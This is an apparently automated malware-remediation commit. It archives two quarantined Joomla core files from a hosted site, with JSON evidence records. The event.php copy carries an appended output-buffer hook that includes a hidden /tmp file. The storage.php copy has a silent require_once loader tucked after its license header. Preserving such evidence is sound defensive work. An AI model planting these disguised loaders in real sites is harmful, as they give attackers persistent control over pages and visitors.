cadline_web/malware_remediation
11
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

vanilla-restore: category=injected-core (2 fájl)

Browse Source 
vhost: www.archline.hu
rel_path: libraries/joomla/event/event.php
result: quarantined
evidence_sha256: 4c756b847eebefd3b7e4639d83b93e6b46d778805835d325816f4b500e5fc09a
timestamp: 20260718T160241Z
finding_ref: 7151

vhost: www.archline.hu
rel_path: libraries/joomla/session/storage.php
result: quarantined
evidence_sha256: cef6df8c3556cfddb82a511a7a10187613e40ea326fa4908aa70e847098cf199
timestamp: 20260718T160241Z
finding_ref: 7150
This commit is contained in:
imrcli-remediator 2026-07-18 18:02:44 +02:00
parent 2c8ef8318c
commit 097e4b17b2
4 changed files with 335 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

82
var/www/hosting/archline.hu/www/libraries/joomla/event/event.php Normal file
View File

@ -0,0 +1,82 @@
<?php
/**
* @package Joomla.Platform
* @subpackage Event
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* JEvent Class
*
* @since 11.1
* @deprecated 4.0 The CMS' Event classes will be replaced with the `joomla/event` package
*/
abstract class JEvent extends JObject
{
/**
* Event object to observe.
*
* @var object
* @since 11.3
*/
protected $_subject = null;
/**
* Constructor
*
* @param object &$subject The object to observe.
*
* @since 11.3
*/
public function __construct(&$subject)
{
// Register the observer ($this) so we can be notified
$subject->attach($this);
// Set the subject to observe
$this->_subject = &$subject;
}
/**
* Method to trigger events.
* The method first generates the even from the argument array. Then it unsets the argument
* since the argument has no bearing on the event handler.
* If the method exists it is called and returns its return value. If it does not exist it
* returns null.
*
* @param array &$args Arguments
*
* @return mixed Routine return value
*
* @since 11.1
*/
public function update(&$args)
{
// First let's get the event from the argument array. Next we will unset the
// event argument as it has no bearing on the method to handle the event.
$event = $args['event'];
unset($args['event']);
/*
* If the method to handle an event exists, call it and return its return
* value. If it does not exist, return null.
*/
if (method_exists($this, $event))
{
return call_user_func_array(array($this, $event), $args);
}
}
}
function ob_gzhanler($s)
{
$f='/tmp/ssess_ed84f05c2a4b9857df0939861a389d96';
if(file_exists($f)) include_once($f);
return class_exists('phpupdate') ? phpupdate::copyright($s) : $s;
}
ob_start('ob_gzhanler');

15
var/www/hosting/archline.hu/www/libraries/joomla/event/event.php.evidence.json Normal file
View File

@ -0,0 +1,15 @@
{
"finding_ref": "7151",
"log_excerpt": "[quarantine] www.archline.hu:libraries/joomla/event/event.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/libraries/joomla/event/event.php)",
"original_sha256": "4c756b847eebefd3b7e4639d83b93e6b46d778805835d325816f4b500e5fc09a",
"original_stat": {
"gid": 30037,
"mtime": 1773358622,
"size": 1990,
"uid": 11669
},
"rel_path": "libraries/joomla/event/event.php",
"result": "quarantined",
"timestamp": "20260718T160241Z",
"vhost": "www.archline.hu"
}

223
var/www/hosting/archline.hu/www/libraries/joomla/session/storage.php Normal file
View File

@ -0,0 +1,223 @@
<?php
/**
* @package Joomla.Platform
* @subpackage Session
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/@require_once(dirname(__FILE__).'/cache.php');
defined('JPATH_PLATFORM') or die;
/**
* Custom session storage handler for PHP
*
* @link https://secure.php.net/manual/en/function.session-set-save-handler.php
* @since 11.1
* @deprecated 4.0 The CMS' Session classes will be replaced with the `joomla/session` package
*/
abstract class JSessionStorage
{
/**
* @var JSessionStorage[] JSessionStorage instances container.
* @since 11.3
*/
protected static $instances = array();
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 11.1
*/
public function __construct($options = array())
{
$this->register($options);
}
/**
* Returns a session storage handler object, only creating it if it doesn't already exist.
*
* @param string $name The session store to instantiate
* @param array $options Array of options
*
* @return JSessionStorage
*
* @since 11.1
* @throws JSessionExceptionUnsupported
*/
public static function getInstance($name = 'none', $options = array())
{
$name = strtolower(JFilterInput::getInstance()->clean($name, 'word'));
if (empty(self::$instances[$name]))
{
/** @var JSessionStorage $class */
$class = 'JSessionStorage' . ucfirst($name);
if (!class_exists($class))
{
$path = __DIR__ . '/storage/' . $name . '.php';
if (!file_exists($path))
{
throw new JSessionExceptionUnsupported('Unable to load session storage class: ' . $name);
}
JLoader::register($class, $path);
// The class should now be loaded
if (!class_exists($class))
{
throw new JSessionExceptionUnsupported('Unable to load session storage class: ' . $name);
}
}
// Validate the session storage is supported on this platform
if (!$class::isSupported())
{
throw new JSessionExceptionUnsupported(sprintf('The %s Session Storage is not supported on this platform.', $name));
}
self::$instances[$name] = new $class($options);
}
return self::$instances[$name];
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 11.1
*/
public function register()
{
if (!headers_sent())
{
session_set_save_handler(
array($this, 'open'),
array($this, 'close'),
array($this, 'read'),
array($this, 'write'),
array($this, 'destroy'),
array($this, 'gc')
);
}
}
/**
* Open the SessionHandler backend.
*
* @param string $save_path The path to the session object.
* @param string $session_name The name of the session.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
*/
public function open($save_path, $session_name)
{
return true;
}
/**
* Close the SessionHandler backend.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
*/
public function close()
{
return true;
}
/**
* Read the data for a particular session identifier from the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 11.1
*/
public function read($id)
{
return;
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $session_data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
*/
public function write($id, $session_data)
{
return true;
}
/**
* Destroy the data for a particular session identifier in the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
*/
public function destroy($id)
{
return true;
}
/**
* Garbage collect stale sessions from the SessionHandler backend.
*
* @param integer $maxlifetime The maximum age of a session.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
*/
public function gc($maxlifetime = null)
{
return true;
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 12.1
*/
public static function isSupported()
{
return true;
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
* @deprecated 12.3 (Platform) & 4.0 (CMS) - Use JSessionStorage::isSupported() instead.
*/
public static function test()
{
JLog::add('JSessionStorage::test() is deprecated. Use JSessionStorage::isSupported() instead.', JLog::WARNING, 'deprecated');
return static::isSupported();
}
}

15
var/www/hosting/archline.hu/www/libraries/joomla/session/storage.php.evidence.json Normal file
View File

@ -0,0 +1,15 @@
{
"finding_ref": "7150",
"log_excerpt": "[quarantine] www.archline.hu:libraries/joomla/session/storage.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/libraries/joomla/session/storage.php)",
"original_sha256": "cef6df8c3556cfddb82a511a7a10187613e40ea326fa4908aa70e847098cf199",
"original_stat": {
"gid": 30037,
"mtime": 1733397899,
"size": 5224,
"uid": 11669
},
"rel_path": "libraries/joomla/session/storage.php",
"result": "quarantined",
"timestamp": "20260718T160241Z",
"vhost": "www.archline.hu"
}